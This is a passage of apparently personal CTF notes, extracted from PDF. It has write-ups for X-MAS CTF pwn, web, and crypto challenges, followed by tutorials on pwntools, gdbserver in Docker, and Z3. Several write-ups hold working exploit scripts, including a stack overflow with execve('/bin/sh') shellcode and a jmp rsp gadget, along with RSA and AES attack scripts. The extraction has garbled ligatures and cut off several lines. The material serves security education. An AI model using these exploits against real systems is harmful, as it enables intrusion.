│ 0x55c00f086865 e846feffff call sym.imp.gets
│ 0x55c00f08686a 488b55f0 mov rdx, qword [var_10h]
│ 0x55c00f08686e b8efbeadde mov eax, 0xdeadbeef
│ 0x55c00f086873 4839c2 cmp rdx, rax
│ ┌─< 0x55c00f086876 7522 jne 0x55c00f08689a
│ │ 0x55c00f086878 488d3de90000. lea rdi, str.X_MAS_Fake_flag...
[...]
gets() is used to take in input, then the contents of another local variable are
compared to 0xdeadbeef . Basic bu"er over#ow then overwrite a local variable:
payload = b'A' * 32
payload += p64(0xdeadbeef)
p.sendlineafter('you?\n', payload)
print(p.recvuntil('}'))
X-MAS{ah_yes__i_d0_rememb3r_you}
Naughty
Overview
We receive a !le called chall . NX is disabled, which is helpful. We inject
shellcode, use a jmp rsp gadget and execute our own shellcode.
Decompilation
main() is a fairly simple binary:
check = -6913;
puts("Tell Santa what you want for XMAS");
fgets(input, 71, stdin);
puts("Nice. Hope you haven't been naughty");
if ( check != -6913 )
{
puts("Oh no....no gifts for you this year :((");
exit(0);
}
return 0LL;
}
The bu"er is 48 bytes long. After the bu"er there is 16-bit integer check ,
which acts as a canary. Then there are 8 bytes for the stored RBP. The total input
it 71 , meaning after the stored RBP we have 13 bytes of over#ow, including the
RIP. No ROP is possible.
Exploitation
Firstly:
if args.REMOTE:
p = remote('challs.xmas.htsp.ro', 2000)
else:
p = process()
jump_rsp = 0x40067f
• Shellcode
• Padding
• Padding
• jmp rsp
Now we need to decide what shellcode we want to run. Well, since RSP points at
the stack, we know that it will always be a static o"set o" our bu"er. If we
calculate it, we can just do
sub rsp, x
jmp rsp
And execute the other half of our code! And at this point RSP will be exactly 8
bytes o" /bin/sh\x00 , so we can use it to populate RDI as well!
exploit = b'/bin/sh\x00'
exploit += asm('''
xor rsi, rsi
xor rdx, rdx
lea rdi, [rsp-8]
mov rax, 0x3b
syscall
''') # rsi/rdx need to be null, rdi points at /bin/sh, rax execve syscall n
exploit += b'A' * (46 - len(exploit)) # padding
exploit += p16(0xe4ff)
exploit += b'B' * 8
exploit += p64(jump_rsp)
exploit += asm('''
sub rsp, 0x38
jmp rsp
''') # RSP point to beginning of shellcode, use this to point RIP there
p.sendline(exploit)
p.interactive()
X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}
Web
Not really my forte, but here we go, I can only get better.
PHP Master
Once we visit the URL, we are shown some code:
<?php
include('flag.php');
$p1 = $_GET['param1'];
$p2 = $_GET['param2'];
if(!isset($p1) || !isset($p2)) {
highlight_file(__FILE__);
die();
}
if(strpos($p1, 'e') === false && strpos($p2, 'e') === false && strlen($p1) ==
die($flag);
}
?>
Clearly this is some type of Type Juggling exploit, but I'm not that familiar with it
except for 0e md5 hashes and stu". However, there are some restrictions here:
• They can't strictly equal each other ( !== ) but they must loosely equal each
other ( == )
PHP comparision is a known piece of junk, so we can !nd some weaknesses using
PayloadsAllTheThings.
Once set of possible parameters is 01 and 1 , as they are both two characters
long and - according to PHP's loose comparison - equal each other (thanks to
nrabulinski for this solution after the CTF). It appears that objetcs are
automatically converted to numbers for loose comparisions, as loose only
compares values while strict also compares types. Therefore the example above
would both equal 1 under loose comparison.
Another, more interesting set is 200 and 2E3 (thanks to 03sunf). Note that
2E3 is an exponential, equivalent to 2 * 10^2 . Once both are converted to
integers, they pass the check.
Crypto
Common Mistake
Common Mod, DI"erent e
{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7
{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7
The plaintext encrypted to give c is the same, and we can observe that the choice
of N is also the same, meaning the only di"erence is in the choice of e. Here we
can use some cool ma"s with e1 and e2 to retrieve the original plaintext m.
Firstly, if the greatest common divisor of e1 and e2 is 1, then there exists a and b
such that
ae1 + be2 = 1
To calculate this, we can use the Extended Euclidean Algorithm. But why is this
helpful?
Well if we know that c1 ≡ me1 mod N and c2 ≡ me2 mod N and we know
a, b such that ae1 + be2 = 1, we can then use this to calculate m like this:
n = 0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857
e1 = 0x10001
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 520 of 554
Cybersecurity Notes 5/3/25, 16:17
e1 = 0x10001
e2 = 0x23
c1 = Mod(0x55cfe232610aa54dffcfb346117f0a38c77a33a2c67addf7a0368c93ec5c3e1baec
c2 = Mod(0x79834ce329453d3c4af06789e9dd654e43c16a85d8ba0dfa443aefe1ab4912a12a4
m = c1^a * c2^b
print(long_to_bytes(m))
Missing Reindeer
Cube Root Attack
Contents
In this challenge, we get a message.eml !le containing an email:
Hello Mr Jingles,
We got the reindeer as you requested. There is a problem though. Its nose is s
Applications such as Outlook block downloading the !le due to it's "malicious
nature", but we can open the .eml !le in VS Code easily and extract two things:
Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0+4FxkVEksPL6j3wL
We can easily import the public key in Python and read the values for N and e
using the Pycryptodome:
with open('pubkey.pem') as f:
key = RSA.importKey(f.read())
print(key.n)
print(key.e)
We can throw N into FactorDB to see if the factors are known, but they are not.
The more notable observation is that e = 3, which allows us to perform a cube
root attack on the ciphertext.
The logic here is simple: because the message m is quite short and the public
modulus N is quite large, a small value of e such as 3 may make it such that
me < N . This makes the modulus ine"ective as me = me mod N and we can
simply take the eth root of the ciphertext to recover the plaintext.
Recovering c
We'll use the gmpy2 iroot() function to calculate the cube root:
c = b64decode(b'Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0
c = bytes_to_long(c)
m = iroot(c, 3)
print(long_to_bytes(m[0]))
Xmas Spirit
Contents
We get given challenge.py and encrypted.bin . Analysing challenge.py :
import random
from math import gcd
def encrypt(dt):
mod = 256
while True:
a = random.randint(1, mod)
if gcd(a, mod) == 1:
break
b = random.randint(1, mod)
res = b''
for byte in dt:
enc = (a * byte + b) % mod
res += bytes([enc])
return res
dt = open('letter.pdf', 'rb').read()
res = encrypt(dt)
f = open('encrypted.bin', 'wb')
f.write(res)
f.close()
It calculates two random values, a and b. For every byte k in the plaintext !le, it
then calculates
ak + b mod 256
Analysis
The plaintext !le appears to be letter.pdf , and using this we can work out the
values of a and b because we know the !rst 4 bytes of every PDF !le are %PDF .
We can extract the !rst two bytes of encrypted.bin and compare to the
expected two bytes:
print(res[0])
print(res[1])
print(ord('%'))
print(ord('P'))
Gives us
13
112
37
80
a ⋅ 37 + b ≡ 13 mod 256
a ⋅ 80 + b ≡ 112 mod 256
And we can multiply both sides by the modular multiplicative inverse of 43, i.e.
43−1 mod 256, which is 131, to get that
Solution
So now we have the values for a and b, it's simply a matter of going byte-by-byte
and reversing it. I created a simple Sage script to do this with me, and it took a bit
of time to run but eventually got the #ag.
final = b''
R = IntegerModRing(256)
Meet Me Halfway
Meet-in-the-middle attack on AES
Contents
We are given challenge.py , which does the following:
We can use a meet-in-the-middle attack to retreive both keys. The logic here is
simple. Firstly, there are 16 possible characters for each of the 4 random bytes,
which is easily bruteforceable (164 ).
We can also encrypt a given input and get the result - I choose to send 12345678
as the hex-encoded plaintext and receive . For these keys, the encrypted #ag is
given as:
43badc9cfb6198e97e5c0085eba941043982169877c2ec51995b5527d32244ebf3af4453e73408
The Attack
Now we have a known plaintext and ciphertext, we can use both one after the
other and bruteforce possible keys. Note that the encryption looks like this:
We do not know what the intermediate value x is, but we can use brute force to
calculate it by
• Looping through all possibilities for key1 and saving the encrypted version
of 12345678
• Looping through all possibilities for key2 and saving the decryption of
449e2eb...
• Finding the intersection between the encryption with key1 and the
decryption with key2
Once we !nd this intersection, we can use that to work back and calculate key1
and key2 , which we can then utilise to decrypt the #ag.
Solve Script
from itertools import permutations
key_start = b'cyb3rXm45!@#'
alphabet = b'0123456789abcdef'
enc_flag = bytes.fromhex('43badc9cfb6198e97e5c0085eba941043982169877c2ec51995b
intersection = encryption_table_set.intersection(decryption_table_set).pop()
encryption_key = encryption_table[intersection] # set the encryption key n
decryption_key = decryption_table[intersection] # set the decryption key n
flag = cipher2.decrypt(enc_flag)
flag = cipher1.decrypt(flag).decode().strip()
print(flag)
Miscellaneous
pwntools
This Section is a run-through of the most useful features in python's pwntools
library.
Introduction
Pwntools
Pwntools is an immensely powerful framework used primarily for binary
exploitation, but I have also used it for an challenges that require sockets due to
how simpli!ed such interactions are with it.
Here we will be using the python version of pwntools, though there is also a Ruby
version.
Installation
The installation is as simple as it can be with python.
Windows
Unfortunately many features of pwntools are not available on Windows as it uses
the _curses module, which is not available for Windows.
Processes
A process is the main way you interact with something in pwntools, and starting
one is easy.
p = process('./vulnerable_binary')
You can also start remote processes and connect to sockets using remote :
p = remote('my.special.ip', port)
p.send(data)
p.sendline(data)
An incorrect number of these may cause your exploit to stall when there's nothing
wrong with it. This should be the !rst thing you check. If you're uncertain, use
p.clean() instead.
p.recv(numb)
p.recvuntil(delimiter, drop=False)
Receives all the data until it encounters the delimiter , after which it returns
the data. If drop is True then the returned data does not include the
delimiter .
p.recvline(keepends=True)
p.clean(timeout=0.02)
Receives all data for timeout seconds and returns it. Another similar function is
p.recvall() , but this regularly takes far too long to execute so p.clean() is
much better.
Timeout
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 534 of 554
Cybersecurity Notes 5/3/25, 16:17
Timeout
All receiving functions all contain a timeout parameter as well as the other
listed ones.
For example, p.recv(numb=16, timeout=1) will execute but if numb bytes are
not received within timeout seconds the data is bu"ered for the next receiving
function and an empty string '' is returned.
Logging
Logging is a very useful feature of pwntools that lets you know where in your
code you've gotten up to, and you can log in di"erent ways for di"erent types of
data.
log.info(text)
log.success(text)
log.error(text)
Context
context is a 'global' variable in pwntools that allows you to set certain values
once and all future functions automatically use that data.
context.arch = 'i386'
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 536 of 554
Cybersecurity Notes 5/3/25, 16:17
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.bits = 64
Now every time you generate shellcode or use the p64() and u64() functions
it will be speci!cally designed to use the context variables, meaning it will just
work. The power of pwntools.
context.binary = './vulnerable_binary'
This enables you to do a lot more things as well - for example, if you run
p = process()
it will automatically use the context binary and you will not have to specify it
again.
Packing
Packing with the in-built python struct module is often a pain with loads of
unnecessary options to remember. pwntools makes this a breeze, using the
context global variable to automatically calculate how the packing should work.
p64(addr)
Packs addr depending on context , which by default is little-endian.
p64(0x04030201) == b'\x01\x02\x03\x04'
context.endian = 'big'
p64(0x04030201) == b'\x04\x03\x02\x01'
p64() returns a bytes-like object, so you'll have to form your padding as b'A'
instead of just 'A' .
u64(data)
Unpacks data depending on context ; exact opposite of p64() .
flat(*args)
Can take a bunch of arguments and packs them all according to context . The full
functionality is quite complex, but essentially:
payload = flat(
0x01020304,
0x59549342,
0x12186354
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 538 of 554
Cybersecurity Notes 5/3/25, 16:17
0x12186354
)
is equivalent to
flat() uses context , so unless you specify that it is 64 bits it will attempt to pack
it as 32 bits.
ELF
The pwntools ELF class is the most useful class you will probably ever need, so
understanding the full power of it will make your life easier. Essentially, the ELF
class allows you to look up variables at runtime and stop hardcoding.
elf = ELF('./vulnerable_program')
Getting a process
Rather than specifying another process, we can just get it from the ELF :
p = elf.process()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
Functions
main_address = elf.functions['vuln']
Note that elf.functions returns a Function object, so if you only want the
address you can use elf.symbols :
main_address = elf.symbols['symbol']
elf.libc
When local, we can grab the libc the binary is running with. Easy peasy.
libc = elf.libc
elf.search(needle, writable=False)
Search the entire binary for a speci!c sequence needle of characters. Very
useful when trying to do a ret2libc . If writable is set it only checks for
sections in memory that you can write to. Note this returns a generator so if you
want the !rst match you have to enclose it in next() .
binsh = next(libc.search(b'/bin/sh\x00'))
elf.address
elf.address is the base address of the binary. If the binary does not have PIE
enabled, then it's absolute; if it does, all addresses are relative (they pretend the
Let's say you leak the base address of libc while ASLR is enabled; with
pwntools, it's ridiculously easy to get the location of system for a ret2libc .
libc = elf.libc
libc.address = 0xf7f23000 # You 'leaked' this
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
exit_addr = libc.symbols['exit']
ROP
The ROP class is insanely powerful, enabling you to create readable ropchains in
many less lines.
Adding Padding
rop.raw('A' * 64)
rop.win(0xdeadc0de, 0xdeadbeef)
rop.win1(0x12345678)
rop.win2(0xdeadbeef, 0xdeadc0de)
rop.flag(0xc0ded00d)
print(rop.dump())
dump() output:
Showcase
Without pwntools:
payload = flat(
POP_RDI,
0xdeadc0de,
elf.sym['win1'],
POP_RDI,
0xdeadbeef,
POP_RSI,
0x98765432,
elf.sym['win2'],
POP_RDI,
0x54545454,
elf.sym['flag']
)
p.sendline(payload)
With pwntools:
rop.win1(0xdeadc0de)
rop.win2(0xdeadbeef, 0x98765432)
rop.flag(0x54545454)
p.sendline(rop.chain())
scanf Bypasses
Sometimes you want scanf to not read anything, but continue standard
execution. By this I mean that it takes your input, but it doesn't store it in
memory, leaving the stack or heap untouched.
This might be because you have a sequential or iterative OOB write, but there is a
canary in the way. Alternatively, the location you are writing to is uninitialized
but the data gets printed back and you want to leak pointers this way (e.g.
Control Room on Hack The Box).
So, here are a few inputs for di"erent speci!ers that help bypass this! Please do
let me know of any more.
Challenges in Containers
Sometimes you get challenges provided with a Dockerfile . In most cases, it's
best to use it, as you can be sure it acts the same locally and remotely.
Unfortunately, that can be rough. There are a few steps. In essence, we want to
use gdbserver to set up a debug session, then connect to gdbserver from our
host to leverage the full power of whatever we want to debug with. These steps
work for debugging a binary hosted via socat .
Quick Copy
Add:
-p 9090:9090 --cap-add=SYS_PTRACE
Run:
Connect:
r2 -d gdb://localhost:9090
OR
gdb challenge
target remote :9090
Explanation
Install
-p 9090:9090 --cap-add=SYS_PTRACE
• -p 9090:9090 binds the internal port 9090 to the external port 9090 , so
we can connect to localhost:9090 for the gdbserver
Note that to get a binary started with socat , we have to connect to the service
!rst in order to start a process. So, outside the container, connect with nc :
$ nc localhost 1337
<pwnable binary>
Don't end the process. Switch back to the Docker root shell:
Starting GDBserver
Now start a gdbserver :
And on your host you can now connect to it with radare2 or GDB:
$ r2 -d gdb://localhost:9090
$ gdb challenge
(gdb) target remote :9090
Remote debugging using 172.17.0.2:9090
[...]
(gdb)
And boom.
Note the issue is that you have to restart gdbserver every time you connect again.
Don't forget! Maybe there's a better way, but I don't know.
Did try and replace the shell commands with a single docker exec , but the $()
is resolved before it is piped to the Docker:
Using Z3
Microsoft's Theorem Prover
What is Z3?
Z3 is an SMT Solver, a program that can test whether a set of conditions can hold
or not, and eventually !nd a valid solution. This is super helpful in the context of
reverse engineering, where you sometimes want to !nd a valid input or reverse
engineer a checker function.
Installing Z3
Follow these instructions:
Wait for that to compile. Make sure you also install the Python bindings, which
allow you to use Z3 from within Python:
Using Z3
Let's take the example of Hack The Box's Hissss challenge. Once you do the whole
python decompilation step, you end up with a large if statement for the
password:
if ord(password[0]) != 48
or password[11] != '!'
or ord(password[7]) != ord(password[5])
or 143 - ord(password[0]) != ord(password[4])
or ord(password[1]) ^ ord(password[3]) != 30
or ord(password[2]) * ord(password[3]) != 5610
or password[1] != 'p'
or ord(password[6]) - ord(password[8]) != -46
or ord(password[6]) ^ ord(password[7]) != 64
or ord(password[10]) + ord(password[5]) != 166
or ord('n') - ord(password[9]) != 1
or password[10] != str(3):
What we really want is to be able to plug all of this into a program that will solve
the system of statements. Enter Z3!
from z3 import *
s = Solver()
A BitVec is just a binary number. In this case, we are making them 8 bits long
(like a character!) and also calling them char0 , char1 , etc. Each charX is the
X th character of the #ag, so password is really an array of characters which are
s.add(password[0] == 48)
s.add(password[11] == ord('!'))
s.add(password[7] == password[5])
s.add(143 - password[0] == password[4])
s.add(password[1] ^ password[3] == 30)
s.add(password[2] * password[3] == 5610)
s.add(password[1] == ord('p'))
s.add(password[6] - password[8] == -46)
s.add(password[6] ^ password[7] == 64)
s.add(password[10] + password[5] == 166)
s.add(ord('n') - password[9] == 1)
s.add(password[10] == ord('3'))
We then grab the solution as well as setting an answer array of the correct
length to populate:
The values returned by sol are not in the simplest form possible, but we can
extract the values for each index as so:
We get 0p3n_s3sam3!
Basic Compilation
Install GCC multilib and the arm32 cross-platform toolchain
CC=arm-linux-gnueabihf-gcc
Extra step required. We have to add the architecture, then update to get the
packages: